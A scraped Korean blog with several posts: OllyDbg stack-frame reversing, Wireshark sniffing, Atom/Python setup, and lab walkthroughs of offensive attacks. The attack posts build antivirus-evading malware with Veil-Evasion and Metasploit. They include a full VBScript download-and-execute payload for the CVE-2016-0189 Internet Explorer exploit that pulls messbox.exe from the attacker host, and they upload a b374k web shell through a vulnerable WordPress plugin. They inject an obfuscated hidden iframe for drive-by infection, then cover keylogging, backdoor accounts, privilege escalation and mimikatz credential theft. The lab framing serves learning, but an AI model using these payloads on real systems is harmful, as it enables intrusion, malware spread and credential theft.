반응형


1.3. add() 함수 파라미터 입력 및 add() 함수 호출




add() 함수에는 a, b 2개의 파라미터가 존재합니다.

401034 ~ 40103B 주소의 명령어들은 변수 a, b 를 스택에 저장하고 있습니다.



[EBP-8]에는 2가 [EBP-4]에는 1이 저장되게 되는데 C언어의 입력 순서와는 반대로 2부터 저장이 되고있습니다.


1.3.1 복귀주소



CALL 명령어( 40103C )가 실행되어 해당 함수로 들어가기 전에 CPU는 무조건 해당 함수가 종료될 때 복귀할 주소를 스택에 저장합니다.



CALL 명령어 ( 40103C )를 실행한 직후 스택에는 복귀주소가 저장되어 있습니다.


1.4. add() 함수 시작 & 스택 프레임 생성




① StackFrame 게시물의 Main() 함수 부분과 동일합니다.

원래의 EBP 값을 스택에 저장 후 현재의 ESP를 EBP에 넣습니다.


1.5. add() 함수의 로컬 변수( x, y )세팅




① : 스택 메모리 영역 ( 8 byte ) 확보

② : [ EBP + 8 ] = a

③ : [ EBP - 8 ] = x

④ : [ EBP + C ] = b

⑤ : [ EBP - 4 ] = y



1.6. ADD 연산




① : EBP-8에 있는 변수 x의 값 1을 MOV명령어를 통해 EAX로 넣는다.

② : EBP-4에 있는 변수 y의 값 2를 ADD명령어를 통해 EAX의 값 1과 더한다 = 3


1.7. add() 함수의 스택 프레임 해제 & 함수 종료 ( 리턴 )


이제 add() 함수의 스택 프레임을 해제 시키고 함수를 리턴시킬 차례입니다.



앞선 MOV EBP, ESP에 대응하는 명령어입니다.

add() 함수가 시작할 때 ESP값을 EBP에 넣어 보존했다가 함수가 종료될 때 ESP값을 복원시키는 겁니다.



앞선 PUSH EBP에 대응하는 명령어입니다.

add() 함수가 시작되면서 스택에 백업한 EBP값을 복원하고 스텍프레임을 해제시킵니다.


이제, RETN명령어를 실행시키게되면 스택에 저장된 복귀 주소로 리턴하게됩니다.



add() 함수를 호출하기 전의 스택상태로 돌아왔습니다.


1.8. add() 함수 파라미터 제거 ( 스택 정리 )



add() 함수가 완전히 종료되었기 떄문에 파라미터 a,b가 필요 없습니다.

따라서 ESP에 8을 더하여 스택을 정리하는 부분입니다.


1.9. printf() 함수 호출


자, 이제 프로그래밍 공부를하며 늘 써왔고 궁금했던 printf() 에 대해 알아보겠습니다.



이전의 과정에서 EAX에 1과 2를 더한 3을 넣어놨었습니다.

PUSH 40B384에는 %d가 들어있고 CALL 401067 명령어는 printf() 함수입니다.

printf() 안에 2개의 파라미터가 있기 때문에 ADD ESP, 8 로 정리해줍니다.


1.10. 리턴 값 세팅




'XOR' Exclusive OR bit 연산은 같은값 끼리 XOR하면 0이 되는 연산입니다.

MOV EAX, 0 명령어보다 실행속도가 빨라 자주 사용된다고합니다.


XOR 아래의 코드들은 나머지 부분은 앞에서했던 MOV, POP RETN 으로 같은 동작을 하며 메인 함수가 종료됩니다.



이번 실습을 진행하면서 막히는 부분도 많았고 꽤 어려웠습니다.

하지만 스택 프레임을 어설프게나마 공부해보니 실력이 많이 향상된 것 같고 리버싱 공부 의지가 더욱 불타는 것 같습니다.


오늘은 여기까지입니다 감사합니다 !




참고서적 이승원 「리버싱 핵심원리」 인사이트(2018) p82~91

반응형




안녕들 하시죠!


오늘은 스택 프레임에 대해 알아보겠습니다.


스택 프레임은 프로그램에서 선언되는 로컬 변수와 함수 호출에 사용됩니다.

이번 실습을 진행하기 위해서는 지난시간에 공부했던 'IA-32 Register' 의 ESP, EBP 개념이 필요합니다.


ESP는 스택포인터로서 프로그램 안에서 ESP 레지스터는 수시로 변경되기 때문에 스택에 저장된 변수, 파라미터에 접근하고자 할 때 ESP 값을 기준으로 하면 프로그램을 만들기 힘들고, CPU가 정확한 위치를 참고할 때 어려움이 있습니다.

따라서, 어떤 기준 시점( 함수 시작 )의 ESP값을 -> EBP에 저장하고 이를 함수내에서 유지해줍니다.

그러면 ESP값이 아무리 변하더라고 EBP를 기준으로 안전하게 해당 함수의 변수, 파라미터, 복귀 주소에 접근이 가능합니다.

이것이 EBP 레지스터의 베이스 포인터 역할입니다.


PUSH EBP  

함수 시작 ( EBP를 사용하기 전에 기존의 값을 스택에 저장한다 )


MOV EBP, ESP

현재의 ESP( 스택포인터 ) 를 EBP에 저장.


///


함수 본체 

여기서 ESP가 변경되더라도 EBP에 저장되어 있으므로 안전하게 로컬 변수와 파라미터를 엑세스 할 수 있다.


///


MOV ESP, EBP

ESP를 정리 ( 함수 시작했을 때의 값으로 복원시킴 )


POP EBP

리턴되기 전에 저장해 놓았던 원래 EBP 값으로 복원.


RETN

함수종료


이런 식으로 스택 프레임을 이용해 함수 호출을 관리하면 스택을 완벽하게 관리할 수 있습니다.


이제, 아주 간단한 프로그램을 통해 스택 프레임을 이해해보겠습니다.


1
2
3
4
5
6
7
8
9
10
11
12
13
// StackFrame.cpp
#include<stdio.h>
 
long add(long a, long b){
    long x = a, y = b;
    return (x+y);
}
 
int main(int argc, char* argv[]){
    long a = 1, b = 2;
    printf("%d\n", add(a,b));
    return 0;
}
cs


위에있는 코드를 StackFrame.exe로 빌드한 후 Ollydbg를 이용해 열어보겠습니다.

아래에 파일도 같이 첨부하겠습니다.


StackFrame.exe



Go to 명령어로 401000 주소로 이동하겠습니다.


위에 올렸던 코드를 부분부분 찾아 이해해보겠습니다. 


1. StackFrame.exe


1.1. Main() 함수 


우선, Main() 함수 부분 ( 201020 ) 주소 에 BP를 설치[F2] 한 후 [F9]로 실행하겠습니다.




ESP 19FF3C, EBP 19FF80 이고 아래 ④번을 보시면 ESP가 가리키고 있는 19FF3C에 저장된 값 401250은 Main() 함수의 실행이 끝난 후,

돌아갈 리턴 주소입니다.


00401020        PUSH EBP

위의 명령은 'EBP값을 스택에 집어넣어라' 라는 뜻입니다. 

Main() 함수에서 EBP가 베이스 포인터의 역할을 하게 될테니 EBP가 이전에 가지고 있던 값을 스택에 백업해두기 위함입니다.


00401021        MOV EBP, ESP

위의 명령은 'ESP값을 EBP로 옮겨라' 라는 뜻입니다.



이젠 ESP와 EBP 둘다 19F88값을 가지게 되었구요, 19FF80 주소에는 19FF80이라는 값이 저장되어 있습니다.

19FF80은 Main() 함수가 시작할 때 EBP가 가지고 있던 초기 값입니다.


1.2. 지역 변수



로컬 변수 ( a, b )를 위한 공간을 만들고 값을 입력한다.

위의 명령은 'ESP 값에서 8을 빼라' 라는 뜻입니다.



위의 자료형 크기표를 보시면 long 은 4byte로 되어있습니다.

a 와 b 는 long 타입으로 선언되었습니다.

long 타입이 2개이니 8byte를 SUB로 빼주면 a와 b 두 변수가 스택에 저장될 공간이 생기게 됩니다.


위의 명령은 '[EBP-4] 에는 1을 넣고, [EBP-8] 에는 2를 넣어라' 입니다.



다음 게시물에 이어서...



참고서적 이승원 「리버싱 핵심원리」 인사이트(2018) p75~82

반응형




안녕들 하시죠 !


이번시간에는 Wireshark를 이용한 패킷 스니핑을 실습해보겠습니다.




Sniffing ( 스니핑 ) 이란?


스니핑이란 네트워크 상에서 자신 이외의 사용자들의 패킷을 엿보는 것을 의미합니다.

위의 이미지를 예로 들면 Noel과 Susan이 주고받는 'I love you' 'Me too' 와 같은 패킷을 엿보는 것입니다.

초기 TCP/IP 프로토콜은 보안적 측면을 고려하지 않고 평문통신을 했기때문에 이러한 스니핑에 취약했습니다.

현재는 대부분 암호화 통신을 하기때문에 비교적 안전하지만 평문통신구간에서 Wireshark를 이용해 보안적 취약점에 대해 실습해 봤습니다.


우선, 제 실습환경에서 로그인 준비를하고 Wireshark를 켜 문자열 필터를 통해 진행해보겠습니다.


아이디와 패스워드를 입력해 로그인하겠습니다.





돋보기 단추 ( find a packet )을 누른 후 Display Filter부분을 클릭해 string으로 바꿔주겠습니다.



② 맨 왼쪽 Packet list 부분을 Packet details로 바꾼 후 ③ 검색창에 로그인 창에서 입력한 아이디 ( kisec ) 을 입력 후 Find 하겠습니다.



맨 아래를 보게되면 제가 입력한 아이디 kisec과 sql injection으로 입력한 비밀번호 'or 1=1 -- 이 나와있네요.

이렇게 평문통신을 하게되면 사용자의 중요정보가 쉽게 노출 될 수 있다는 것을 확인해봤습니다.

암호화 통신의 중요성을 실습을 통해 느낄 수 있는 시간이였습니다.


오늘은 여기까지입니다 감사합니다 !






'Network' 카테고리의 다른 글

방화벽 & 웹 방화벽  (0) 2018.12.10
IPS & IDS  (0) 2018.12.09
Wireshark란? / 설치법  (2) 2018.11.16
네트워크 스캐닝 / WPScan  (0) 2018.11.09
네트워크 해킹  (0) 2018.11.09
반응형

 

 

 

안녕들 하시죠 !

 

이번시간에는 요즘 대세 텍스트 에디터인 Atom 설치 와 설정 방법을 알아보겠습니다.

저는 Atom에서 python을 작성할 것 이기때문에 python 설치와 설정법도 같이 알아보겠습니다.

 

 

Atom 이란 ?

 

Github에서 만든 텍스트 에디터로 무료이며 Window/Linux/Mac에 모두 설치가 가능하다.

그때그때 필요한 플러그인을 설치하여 사용할 수 있기에 편리하다.

UI가 깔끔하고 다루기 쉽다.

python과 웹 언어 공부를 위해 eclipse를 설치했었으나 설치오류도 많이나고 무거운거 같아 Atom으로 옮긴 뒤 만족하고 있습니다.

 

Atom 설치

 

아래의 URL로 홈페이지에 들어가서 다운로드하겠습니다.

https://atom.io/

 

 

 

다운로드가 완료되면 위에 있는 설치파일을 눌러 설치시작하겠습니다.

 

 

위에 설치가 진행중인 화면에서 약 1분정도 기다리면,

 

 

설치가 완료되었습니다.

 

이제 Atom에 python을 설정해 주겠습니다.

python을 미리 깔아놓지 않으면 설정이 불가능하니 python 설치부터 시작하겠습니다.

 

 

 

 

https://www.python.org/

 

 

 

 

 

Add Python 3.7 to PATH를 체크해 경로를 추가해 준 후 Install Now

 

 

설치가 완료 되었습니다.

다시 Atom으로 돌아가겠습니다.

 

 

File -> Settings -> install -> search packages

 

autocomplete-python

script

검색 후 install

 

 

 

python을 사용할 준비가 끝났습니다.

 

설치화면을 다 끄고 untitled 탭으로 넘어가 간단하게 실행 확인을 해보겠습니다.

 

 

Ctrl + s 를 눌러 미리 저장을 해주겠습니다.

저장하실때 파일 형식을 꼭 .py로 해줘야 합니다.

 

 

Hello world.py로 저장 후 print("Hello world")를 Ctrl + Shift + B 를 눌러 실행시켜봤습니다.

아래 화살표가 가리키는 곳이 실행창인데 오류가 났네요.

 

 

 

 

윈도우 검색 -> 시스템 환경 변수 편집 -> 환경변수 -> 위에 있는 사용자 변수의 PATH 더블클릭 -> 새로 만들기 -> C:\python27 -> 확인 후 종료

 

Atom 재시작 후 실행해보겠습니다.

 

 

 

이제 출력이 제대로 나옵니다 !

 

마지막으로 아래는 Atom 단축키입니다.

 

 

 

 

오늘은 여기까지입니다 감사합니다 !

'꿀팁' 카테고리의 다른 글

Visual studio 설치  (2) 2018.12.11
구글 애드센스 광고넣기  (0) 2018.11.25
구글 애드센스 신청하기  (1) 2018.11.09
VMware update tools 설치 / Linux 계열  (0) 2018.10.24
리얼 꿀 파일검색기 Everything 설치법  (0) 2018.10.22
반응형

 

 

 

안녕들 하시죠 !

 

이번시간에는 Wireshark에 대해 알아보겠습니다.

 

 

Wirshark 란?

 

와이어샤크는 네트워크 패킷을 캡처하고 분석하는 오픈소스 도구이다.

처음엔 ' Ethereal ' 이라는 이름으로 나왔다가 이후에 상표문제로 ' Wireshark '로 바뀌었다.

강력하고 쉬운 사용법때문에 해킹뿐만 아니라 보안 취약점 분석, 보안 컨설팅, 개인정보 영향평가 등 여러 분야에서 폭 넓게 사용된다.

 

Wireshark 기본 작동 개념

 

 

같은 네트워크 구간의 Noel과 Susan은 이메일이나 메신저 등을 통해 대화를 주고받는다.

여기에서 Wireshark를 사용하는 제3자는 이 둘 사이의 네트워크로 돌아다니는 패킷( 네트워크상의 데이터 )을 수신하여 저장한다.

이때, PCAP이라는 파일 포맷으로 저장된다.

PCAP 은 Packet Capture의 약자로 네트워크 트래픽을 캡처하는 API구성이다.

Wireshark는 자체 프로그램으로 네트워크 트래픽을 캡처하는 것이 아니고, 운영체제에서 지원하는 캡처 라이브러리를 이용하여 수집한다.

유닉스 : libpcap

윈도우 : Winpcap

 

Wireshark 설치

 

Kali Linux 사용자의 경우 기본적으로 설치가 되어있다.

window 사용자의 경우 wireshark 홈페이지에서 무료로 다운받아 사용이 가능하다.

https://www.wireshark.org/

 

1. 홈페이지에서 다운 후 실행

 

 

본인 운영체제에 맞게 다운받으시면 됩니다.

 

 

2. 설치 진행

 

 

 

 

 

 

 

3. Winpcap 설치

 

위의 과정을 마치고 나면 winpcap 설치가 진행됩니다.

 

 

 

 

Wireshark 인터페이스

 

윈도우 환경에서 wireshark를 실행시켜보겠습니다.

 

 

제 환경에서는 와이어샤크가 자동으로 Wi-Fi 인터페이스를 찾아놨습니다.

보통은 이더넷 이라고 뜰껀데 더블클릭해주시면 실행됩니다.

우선 간단한 인터페이스 기능을 알고가겠습니다.

 

 

: 시작

: 종료

: 다시시작

 

: 호스트 간에 주고받은 패킷을 나열해 놓는 부분

 

No. : 패킷이 수집된 순서를 나타냄

Time : 패킷이 수집된 시간을 나타냄

Source ( 패킷을 보낸 주소 ) ↔ Destination ( 패킷이 도착한 주소 )

Protocol : 패킷 프로토콜 정보

Length : 패킷의 길이

info : 패킷의 상세 정보

 

: ④에서 주고받은 패킷의 내부 헤더 정보, 즉 이 패킷들을 어떤 규칙이나 전송 기준으로 주고받았는지를 보여준다

: 실제 주고받은 내용을 16진수로 보여준다

 

 

 

 

이제 제 PC에서 cmd창에 들어가 google.com으로 ping 명령어를 사용해보겠습니다.

ping google.com

 

 

주황색 하이라이트 부분을 집중해서 보시면 될 것 같습니다.

4231라인을 보시면 ICMP 프로토콜을 사용해 출발지인 제 IP ( 192.168.0.13 ) 도착지인 구글 IP ( 216.58.197.238 ) 로 

request를 보내고있네요.

cmd창을 보면 4번 ping을 보내는데 wireshark창을 보게되면 request 4번 reply 4번 총 8번의 교환이 있었네요.

 

* ICMP ( Internet Control Message Protocol ) 란?

 

인터넷 제어 메시지 프로토콜로서 보통은 오류 메시지를 전송하는데에 쓰이며 인터넷 프로토콜 주요 구성원 중 하나이다.

송신 시스템과 수신 시스템 사이의 패킷을 최적의 경로를 통해 전달하는 역할을 한다.

 

Wireshark 필터링

 

와이어샤크를 사용하다보면 실시간으로 수 많은 패킷을 수집하기 때문에 내가 원하는 패킷을 찾기가 힘듭니다.

그런 문제점을 극복하기위해 필터링 기법에 대해 알아보겠습니다.

 

 

와이어샤크 상단 부분을 보면 apply a display filter 라는 부분이 있습니다.

그곳에 필터링 문법을 적고 엔터를 입력하면 됩니다.

 

예를 들어 ip.addr == 192.168.0.13 이라고 입력하게되면 제 Ip ( 192.168.0.13 ) 에만 해당하는 내용이 나오게됩니다.

 

사용 예)

 

tcp dst port 8888 // 목적지가 tcp 8888 포트인 패킷

ip src host 192.168.0.13 // 출발지 IP 주소가 192.168.0.13인 패킷

not icmp // icmp가 아닌것 모두 검색

eth.addr == 28:16:ad:00:33:04 // 출발지나 도착지 MAC주소로 검색

 

등등 수많은 문법들이 있으니 필요할 때 구글링을 통해 사용하면 될 것 같습니다.

 

오늘은 여기까지입니다 감사합니다 !

 

 

 

참고서적 이상한 「웹해킹 입문」 프리렉(2016) p135~142

'Network' 카테고리의 다른 글

IPS & IDS  (0) 2018.12.09
Wireshark 패킷 스니핑  (0) 2018.11.18
네트워크 스캐닝 / WPScan  (0) 2018.11.09
네트워크 해킹  (0) 2018.11.09
TCP & UDP & 3,4 Way HandShaking  (0) 2018.11.06
반응형

 

 

 

안녕들 하시죠 !

 

이번시간에는 CVE-2016-0189 취약점을 이용한 사이트 방문만으로 악성코드가 다운되는 실습을 진행해보겠습니다.

 

얼마전 올린 글에서 사용한 기법들을 사용할텐데요.

 

Veil-Evasion, vbscript_gotmode.html, b374k 웹쉘 등 을 이용할 계획입니다.

 

우선 Veil-Evasion을 이용하여 백신에 탐지되지 않는 악성코드를 만들어보겠습니다.

지난 게시물에서 진행했던 부분이니 빠르게 넘어가겠습니다.

 

list

 

 

 

use 27

 

 

set LHOST [ 본인 kali ip ]

set LPORT [ 임의의 포트 ]

generate

 

 

 

악성코드 명 : messbox.exe

pyinstaller 1번을 선택하겠습니다.

 

 

messbox.exe을 /var/www  apache의 경로로 복사해놓겠습니다.

cp /usr/share/veil-output/compiled/messbox.exe /var/www

 

msfconsole을 핸들러 경로로 실행시키겠습니다.

msfconsole -r /usr/share/veil-output/handlers/messbox_handler.rc

 

 

이 핸들러는 실습이 끝날때 까지 유지해야합니다 !

 

 

 

 

자, 이제 /var/www 경로에 있는 vbscript_godmode.html을 우클릭 하여 leafpad로 열겠습니다.

find 기능을 이용해 cmd 위치를 찾아주세요.

 

 

위에 화살표가 가리키고 있는 부분을 지우고 제 kali ip로 바꾸겠습니다.

http://192.168.0.29/messbox.exe

 

1
2
3
4
5
6
7
8
9
10
set shell=createobject("Shell.Application")  
shell.ShellExecute "cmd.exe", "/c CD %TEMP%&@echo Set objXMLHTTP=CreateObject(""MSXML2.XMLHTTP"")
>down_exec.vbs&@echo objXMLHTTP.open ""GET"",""http://[ 본인 Kali ip ]/messbox.exe"",false
>>down_exec.vbs&@echo objXMLHTTP.send()>>down_exec.vbs&@echo If objXMLHTTP.Status=200 Then>>down_exec.vbs&@
echo Set objADOStream=CreateObject(""ADODB.Stream"")>>down_exec.vbs&@echo objADOStream.Open>>down_exec.vbs&@
echo objADOStream.Type=1 >>down_exec.vbs&@echo objADOStream.Write objXMLHTTP.ResponseBody>>down_exec.vbs&@
echo objADOStream.Position=0 >>down_exec.vbs&@echo objADOStream.SaveToFile ""%TEMP%\messbox.exe"">>down_exec.vbs&@
echo objADOStream.Close>>down_exec.vbs&@echo Set objADOStream=Nothing>>down_exec.vbs&@echo End if>>down_exec.vbs&@
echo Set objXMLHTTP=Nothing>>down_exec.vbs&@echo Set objShell=CreateObject(""WScript.Shell"")>>down_exec.vbs&@
echo objShell.Exec(""%TEMP%\messbox.exe"")>>down_exec.vbs&cscript.exe %TEMP%\down_exec.vbs&del %TEMP%\down_exec.vbs", "", "open", 0
cs

 

위에있는 쉘코드는 %TEMP% 폴더에 .vbs 파일을 작성하고 실행하도록 구성했고, 이 .vbs가 실행되면 웹 서버에서 악성코드 ( messbox.exe ) 

를 호출하여 다운로드하고, 실행하도록 구성되어 있습니다.

%TEMP% 폴더를 사용하는 이유는 UAC를 우회하기 위함입니다.

 

혹시 악성코드 명을 messbox가 아닌 다른걸로 하신분들은 이부분에서 본인 악성코드 명을 적어주세요.

그럼 아래있는 부분도 알아서 바뀝니다.

 

http://[ 본인 Kali ip ]/[ 본인 악성코드 명.exe ]

 

이제 wordpress에 관리자 권한으로 들어가 slideshow-gallery.1.4.6 plugin을 이용해 웹쉘을 업로드 해 보겠습니다.

slideshow-gallery.1.4.6 버전은 파일업로드 취약점을 가지고 있는데요.

필요하신 분들은 아래 파일을 받아서 사용하세요.

 

slideshow-gallery.1.4.6.zip
다운로드

 

 

 

Slideshow -> Add New

 

 

찾아보기를 눌러 b374k 웹쉘을 업로드한 후 아래의 save slide를 누르겠습니다.

 

 

 

필터링을 하고 있지 않기에 이렇게 쉽게 업로드하였습니다.

 

아래 주황색으로 하이라이트 되어있는 부분을 보면 127.0.0.1/wordpress/wp-content/uploads/slideshow-gallery/8.php로 되어있는데요

업로드한 파일의 경로와 저장된 이름명이 임의의 8.php로 바뀌어있는 것을 알 수 있습니다.

Image 우클릭 -> 새 창에서 링크 열기 를 누르겠습니다.

 

 

웹쉘이 실행 되었습니다.

윗부분 입력란에 비밀번호 b374k를 입력하고 Go !를 누르시면 접속됩니다.

 

 

/var/www/html/wordpress/wp-includes/js/jquery/jquery-migrate.min.js 경로로 이동하겠습니다.

 

아래의 js를 난독화하여 추가해보겠습니다.

 

1
document.write("<iframe src='http://[ 본인 Kali ip ]/0189.html'width='0' height='0' frameboard='0'></iframe>");
cs
독화는 구글에서 '딘 애드워드 패커' 를 검색하여 사용했습니다.
 

 

 

Paste: 부분에 js를 복사 붙여넣기 하고 Base62 encode를 체크 후 Pack을 눌러 난독화를 시켰습니다.

Copy: 부분에 난독화되어진 코드를 복사하여 웹쉘로 돌아가겠습니다.

 

 

Actions의 edit을 눌러 편집해보겠습니다.

 

 

스크롤을 맨 아래로 내려 맨뒤에 난독화 코드를 붙여넣고 save ! 를 눌러 저장 후 빠져나오겠습니다.

kali로 돌아가 아까 작업했던 vbscript_godmode.html 을 0189.html로 이름만 수정해줍니다.

 

이제 피해자 PC에서 Ubuntu ( Wordpress ) 의 ip를 입력해 접속해보겠습니다.

 

 

TEMP 폴더는 파일탐색기의 경로창에 %TEMP%라고만 치시면 바로 나옵니다.

 

 

 

피해자 PC로 웹페이지를 들어가기만 했는데도 악성코드가 다운로드가 되었습니다.

 

중간에 오류가생겨 다른 vm으로 진행하느냐고 ip가 조금 다를 수 있습니다.

 

 

 

세션을 연결하여 migrate 까지 진행해봤습니다.

 

이러한 침투를 방지하려면 취약점이 있는 IE버전을 사용하지말고 항상 최신버전으로 업데이트 해주는게 제일 중요한 것 같습니다.

이번 실습은 내용도 많고 시간도 많이 걸린만큼 배운게 많았던 것 같습니다.

 

 

오늘은 여기까지입니다 감사합니다 !

반응형




안녕들 하시죠 !


오늘은 인터넷 익스플로러의 취약점 CVE-2016-0189 를 이용하여 Drive by download 실습을 진행해보겠습니다.


이번 실습은 IGLOO SECURITY BLOG 의 ' 스크립팅 엔진 메모리 손상 취약점 ( CVE-2016-0189 ) 분석 ' 글을 참고하며 진행했습니다.


Drive by download 란?


이미 알려진 보안 취약점을 이용하여 불특정 다수에게 악성코드를 유포하는것.

보안이 취약한 홈페이지를 변조하여 이미 알려진 보안 취약점을 공격하는 악성코드를 심어놓는다.

사용자는 어떠한 다운로드나 첨부파일을 열어본적 없지만 감염되게된다.

이를 방지하기위하여 사용하는 프로그램을 최신버전으로 유지하는 것이 중요하다.

출처 EST Security 「 Drive by download란 무엇일까요 ?    


아래는 취약점 정보와 공격 시나리오 입니다.


출처 IGLOO SECURITY BLOG  「 스크립팅 엔진 메모리 손상 취약점 ( CVE-2016-0189 ) 분석 



위의 정보를 확인하고싶은 분들은 아래의 URL로 들어가보시면 될 것 같습니다.


http://www.igloosec.co.kr/BLOG_%EC%8A%A4%ED%81%AC%EB%A6%BD%ED%8C%85%20%EC%97%94%EC%A7%84%20%EB%A9%94%EB%AA%A8%EB%A6%AC%20%EC%86%90%EC%83%81%20%EC%B7%A8%EC%95%BD%EC%A0%90(CVE-2016-0189)%20%EB%B6%84%EC%84%9D?bbsCateId=1



우선 Github에서 익스플로잇 코드를 다운받고 IE 브라우저가 CVE코드의 영향을 받는지 확인해보겠습니다.


공격자PC : Kali linux

피해자PC : Window 7


https://github.com/theori-io/cve-2016-0189 // Github 페이지 입니다.


git clone https://github.com/theori-io/cve-2016-0189 // Kali 터미널에 입력해 익스플로잇 코드를 다운받겠습니다.



git clone으로 다운받은 후에 exploit 폴더로 이동합니다.

vbscript_godmode.htmlapache2 가 있는 /var/www 폴더로 이동시켜줍니다.



leafpad로 연 후에 search -> find기능을 이용하여 cmd를 찾아보겠습니다.



위의 이미지를 보시면 vbscript_godmode.html에는 cmd를 실행시키는 익스플로잇 코드가 존재합니다.


이제 피해자 PC로 이동하여 [Kali ip]/vbscript_godmode.html 을 입력해 줍니다.



실행이 잘 되었네요.


다음시간에는 이를 이용하여 피해자가 wordpress 사이트를 방문만 해도 악성코드가 받아지도록 하는 실습을 진행해보겠습니다.


오늘은 여기까지입니다 감사합니다 ! 

반응형




안녕들 하시죠 !


이번시간에는 악성코드를 이용하여 피해자PC를 장악해보겠습니다.

준비가 안되신 분들은 아래의 URL을 보고 따라해보시면 좋겠습니다.


https://hongpossible.tistory.com/36?category=770424 // 1. Veil-evasion을 이용한 백신에 탐지되지 않는 악성코드 만들기

https://hongpossible.tistory.com/37?category=770424 // 2. 악성코드와 정상적인 설치파일 합치기

https://hongpossible.tistory.com/38?category=770424 // 3. 악성코드 프로세스 목록에서 숨기기


우선, 지난시간에 프로세스목록에서 숨겼으니 잘 침투해 있는지 키스캔을 통해 확인해보겠습니다.


keyscan_start



확인을 위해 구글을 켜보고 원격 연결에 들어가보겠습니다.




덤프를 떠보니 잘 침투해 있는걸 확인할 수 있었습니다.



이번에는 피해자PC에 아무 엑셀파일이나 넣어놓고 진행했습니다.

download 명령어로 엑셀파일을 공격자PC로 받아보고, 악성코드를 보내기도 해보겠습니다.

우선 엑셀파일을 검색해보겠습니다.

search -f *.xlsx



C:\경로에 OS.xlsx라는 20136byte의 엑셀파일이 존재하네요. 

업, 다운로드를 명령어를 통해 실행했습니다.


이제 윈도우 shell로 들어가 백도어 계정을 만들고, 권한상승, 피해자PC 계정의 패스워드를 알아내보겠습니다.



shell -> net user /add 명령어로 백도어 계정을 만듭니다.


* 위 이미지처럼 ???? 형식으로 글자가 깨져서 나온다면 따라해보세요


Terminal -> Set Character Encoding -> Add or Remove



Available encodings: 에 있는 Korean EUC-KR 을 -> 화살표를 눌러 오른쪽 으로 추가시켜줍니다.



그다음 다시 Terminal -> Set Character Encoding -> Korean을 선택해줍니다.



성공






현재 getuid명령어로 확인해보면 Administrator의 권한입니다.

목표는 System 권한이기때문에 svchost.exe 로 migrate해야합니다.


ps -S svchost.exe



목록을 보면 SYSTEM권한으로 된 것이 3개가 있습니다. 

이중 912번을 선택해 migrate 하겠습니다.

getuid로 알아보면 SYSTEM으로 권한 상승이 되어있네요.


이제, 윈도우 계정정보를 알아내기위한 mimikatz를 사용하겠습니다.

load mimikatz



?를 입력해 명령어들을 알아보았습니다.

스크롤을 내리보면 여러 명령어 들이 있는데요.

저는 kerberos 기능을 사용하겠습니다.



생각보다 굉장히 간단하네요.

제가 실제로 사용하는 비밀번호라 조금 가렸습니다.



run vnc 명령어를 통해 피해자의 행위를 감시할 수도 있고, screenshot 명령어를 통해 피해자의 화면을 캡처할 수 있습니다.


오늘은 여기까지입니다 감사합니다 !

+ Recent posts